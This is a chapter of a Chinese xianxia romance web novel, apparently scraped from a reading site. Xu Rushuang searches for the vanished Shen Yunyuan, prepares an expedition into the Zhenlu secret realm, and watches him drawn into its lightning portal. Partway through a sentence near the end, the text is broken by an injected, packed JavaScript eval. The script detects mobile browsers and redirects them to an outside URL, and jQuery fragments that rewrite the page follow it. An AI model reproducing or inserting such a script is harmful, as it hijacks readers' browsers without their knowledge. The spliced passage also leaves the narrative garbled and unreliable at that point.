怎么不告而别？他去哪里了？弟子令牌的状态正常，他应该没出什么事，只是不愿与她讲话罢了。


    虽然不用担心他的安全，但是他不辞而别的原因是什么呢？莫非是师父的态度打击到他了？许如霜第一次遇到这种情况，一时有些不知所措。


    不过她也不愿强求，要是他愿意出来，肯定有很多办法能找到自己，还是让他自己缓缓吧。


    ……


    从拍卖行出来，许如霜有一种应做之事未尽之感。


    经过法器铺子时，她不自觉地停下脚步。虽然沈云渊不知道去哪了，但万一这些首饰他以后用得上呢？还是先逛逛；


    经过药材店时，许如霜想起沈云渊的伤或许还需要换药，正好进去补充一些；


    经过一份报摊，许如霜发现这里有写着她以前追求沈云渊那些趣事的报刊，慢下脚步感兴趣地翻了翻，便离开了；


    回到住处，院子里的桌上，有摆放出来的两个茶杯，另一个杯子是给沈云渊准备的；


    大厅中，为他整理出来休息的踏上还摆放着她的抱枕，但是那个和她抢抱枕的人消失不见了……


    许如霜将抱枕带走，坐在床沿思考沈云渊可能的去向。


    不知道他今天自己换药方不方便？或许是好的差不多了。毕竟他们今天也并没有约定要帮忙换药，只是答应陪他逛街……只是事情进展到一半，他便自己走了。


    要不要去他的住处找他呢？


    许如霜考虑了这种可能性，发现十分可行，便动身前去了。可惜据她观察，并没有人在里面。


    那他还会去哪呢？许如霜陷入了沉思。


    ……


    “师姐？”一道试探的声音在她耳边响起。


    许如霜回过神来。


    “嗯？林言？”她习惯性地挂上“师姐的沉稳微笑”。


    对哦，可以问问他沈云渊去了哪里。


    “你有见到沈云渊吗？”


    “这……”林言表情一滞。


    且不说师姐出现在这毫不顺路的地方已经很奇怪了，再这样直接问出来岂不是更奇怪了？！师姐，她跟踪人就毫不掩饰的吗？


    “子舒，你也在。”许如霜又注意到他身后的空子舒，顺便同她打了个招呼。


    看来她猜的没错，这两人都是刚从拍卖行回来，路上甩掉那些人，应当花了不少时间。


    “师姐……你应该知道我也是刚回来，没有在路上遇见他。”林言虽然心里纳罕，但嘴上还是老实回答了。谁叫师姐把他马甲直接给掀了呢。


    这就奇怪了。这种情况下，他既没别的要紧事，又没找她，没在住的地方，也没找别人打架，那他到底去哪了呢？


    心里有事，许如霜暂时没多少心情与他们解释鸩露秘境的事。向两位师弟师妹道了别便离开了。


    空子舒与林言却都还留在原地，目送她离去。


    “师姐……是真爱啊。”林言感叹道。


    “诶？在你眼里，这就是真爱了吗？”


    “师姐一回宗就开始找他呢？能被大师姐这么在意，可是有很多人都羡慕沈云渊。”


    “这么说，你也羡慕了？”


    “没有。我羡慕的是师姐……能这样肆无忌惮地表达自己的喜爱。”


    ……


    许如霜一番搜寻无果，遂决定先睡觉。


    睡梦中，那种熟悉的被注视的感觉回来了。再睁眼，又消失了。


    许如霜两眼一闭再次睡去。


    ……


    许如霜真的不明白。沈云渊已经连着一整个星期没有和她见面了……除了晚上会跑来偷偷看她之外。


    难道他是那天被师父凶了一下，终于意识到他们两个已经分手了？


    越想越有可能。但是再这样下去，马上去历练的日子就要到了。


    “你们最近见过沈云渊吗？”许如霜问到。


    这些天，许如霜都将队员们召集起来，商量有关外出长期历练的事。这句话是她这几天的例行发问。


    “没有……”对面的空子舒有些挫败，“会不会是沈道友其实并不愿意与我们组队……但是已经登记队伍了又不好反悔，才消失这么多天的？”


    天啊，师姐前两次问的时候，他们还不以为意，只当是师姐对沈云渊一日不见如隔三秋的思念之情，没想到小队开会商议这一整个星期，他甚至没出现过一次。空子舒绝望地想，要是他们早发现不对劲会不会还可以挽回？现在，师姐的压力应该也很大吧？


    许如霜的压力其实也没空子舒想象的那么大。至于空子舒想象中的“压力”是哪来的……


    这几天，说本小队历练地点改道凶险异常的鸩露秘境，队员们纷纷退缩，另行组队去了。毕竟许如霜确实没有办法担保在这样一个资料稀少的秘境里会发生什么，无法保证他们的安全。


    许如霜这次必将前往秘境中，不仅因为她是大师姐，宗门需要她提供秘境中的经验情报，更是因为她自身魂魄不全，需要抓住每一次历练的机会，磨练自身，收集补魂的珍品，碰碰运气——在白白散尽魂魄与多加闯荡争取活下去的机会二者之间，许如霜当然选择后者。横竖是一死，还不如争取让生命精彩一些，要是真给她飞升成功，更是赚到了。


    事到如今，队伍里只剩下空子舒和林言两个队友。虽然丹峰和“锻炼峰”的长老都百般劝说，他们依然选择放手一搏。


    许如霜并不觉得奇怪。他们这样选择，或许是出于气运之子的自信，或许是性格与环境所致，或许是在拍卖行中的见闻等多重因素叠加起来，许如霜都不觉得他们会放弃这次进入秘境的好机会。对其他人来说，进去是送死。但对他们来说，这也是一个天大的好机缘。


    鸩露秘境几百年才开启一次，情况不定。虽然其中前人的资料与经验极少，他们手中的藏宝图几乎是他们了解情况的唯一手段。但这也同样意味着，其中的稀世珍宝根本没多少人取走过，无疑是一座宝库。空子舒和林言要是能得到任何洗经伐髓的好物，那帮林言彻底洗脱“废材”的名号，根本不是空谈。至于她嘛……


    许如霜算盘打得啪啪响。再怎么样，一棵草在里面经过几百年的成长都成为仙草了吧？那能找到帮她和沈云渊养魂的好东西，岂不是有比外面大得多的概率？蹭上气运之子的运气，还有那些宝藏……嘿嘿……


    空子舒和林言紧张地盯着师姐嘴角那抹意味不明的微笑，暗戳戳传音起来。


    “好可怕……师姐笑得好渗人……或者说，好贪-婪……”空子舒不自觉搓了搓手臂上的鸡皮疙瘩，“这还是师姐吗……”


    “不会是因为我们这几天都没找到沈云渊，她要把我们——”


    林言话没说完，只是和朋友对视一眼。两人都无力地从对方眼中看到了一种深深的绝望感。


    “师姐，那个……”许如霜半天没接话，空子舒试探开口。


    “噢，你们说他啊，没关系，他该出现的时候，应该自己会出现的。他要不愿意，应该会先说明的。”


    失踪这么多天，沈云渊也没忘每晚来盯着她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396832|184314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，说明应该没跑远。要是他那天再不出现，她就采用强制手段将他翻出来就是了。


    “还有一事，至于临行前的准备，子舒你多备些药品，林言多带些武器，还有储物戒。”


    两位师弟师妹连连答应，只是林言的点头中透露着一丝迟疑。


    他没听错吧？储物戒也可以用“些”来形容吗？是否因为他生活太过拮据所以无法想象……


    林言这么纠结着，也就这么问了：“储物戒……具体是要？”


    “嗯，难得进去这么厉害的秘境，进都进了，不如多带点纪念……多带点好东西走，多带几个储物戒备用嘛，没什么。”许如霜一本正经道。


    看来这位气运之子是对自己能造成的连锁反应还没有太大实感啊，反正她已经做好了要搬空秘境的准备了。以免出现“路边不起眼的小草竟是传说中的某某草”而她的储物戒不够地方用，后悔万分的情节。


    ……


    临行前的会议结束了。或许是这几天都没见到沈云渊的原因，许如霜总归有些不放心。


    月光洒落在小径上，映出斑驳的竹影。许如霜打算在今晚前往长老们所预测的秘境开启处踩个点，摸清附近情况，以防发生意外。


    只见山上的岩壁中，原本完整的一块，此时裂开了一道可供半人经过的小缝，其中有雷声隐隐。


    秘境入口应当还在孕育阶段。许如霜这般推测，并向前多走几步，凑近些看。


    如它的声音一般，其中不仅有雷声，还有雷光在闪烁，照亮了里面的雷云。


    真神奇啊，如此庞大的秘境，竟然就是从这里进入的。许如霜感叹地想。


    盯着滚滚的雷云，她不禁联想起了那个传说——高阶修士渡劫迎雷时，因为天人感应，可能会进入幻境……不知她是否也有体验到的那天。


    正当这么想着，突然，一道雷光从石缝之中劈出，直把许如霜打了个措手不及。


    这是什么情况？


    更多的雷云从石缝中逸出，像是受到她的吸引一般，将她的双臂缚住。


    许如霜的手被雷电得发麻，她感到自己无论是身体或是灵魂，都被这异象裹挟，朝秘境中吸去！


    糟了，要是就这样突然进入秘境的话，有极大的危险会……


    “许如霜。”


    “沈云渊，”许如霜见他来了，心下稍安。只是这雷电不好对付，没时间寒暄了，她只能快速交代道，“你先快走，这秘境怕是会自动吸引魂魄不全之人，你先帮我跟师父他们交代一声，后面再进来找……”


    “不要。”沈云渊试图将她从中扯回来，但很快，他自己也受到了秘境的吸引，“我不想对付他们。”


    不知道沈云渊做了什么，雷云竟逐渐被他吸引了去，许如霜身上的束缚减轻，从中挣脱出来。


    许如霜刚想开口，沈云渊反倒先开口问道：“许如霜，你会来找我吗？”


    “嗯嗯。当然。”


    许如霜自己感受过雷云的威力，知道那是怎样的一种撕扯感。此时她无能为力，只能呆呆地盯着沈云渊，和秘境入口。


    秘境入口的雷声越来越大，大到吸引了路过的很多弟子，大到许如霜没有听清沈云渊回答了什么；雷云闪烁的光芒越来越盛，盛到围观的弟子们用袖摆遮住了眼，许如霜却没舍得眨眼，就这样望着他的身影消散在光芒之中。


    ……


    直到雷云不显，雷声渐止，光芒已熄。


    或许是被方才的光晃了眼，许如霜的面上滑落下一滴泪来。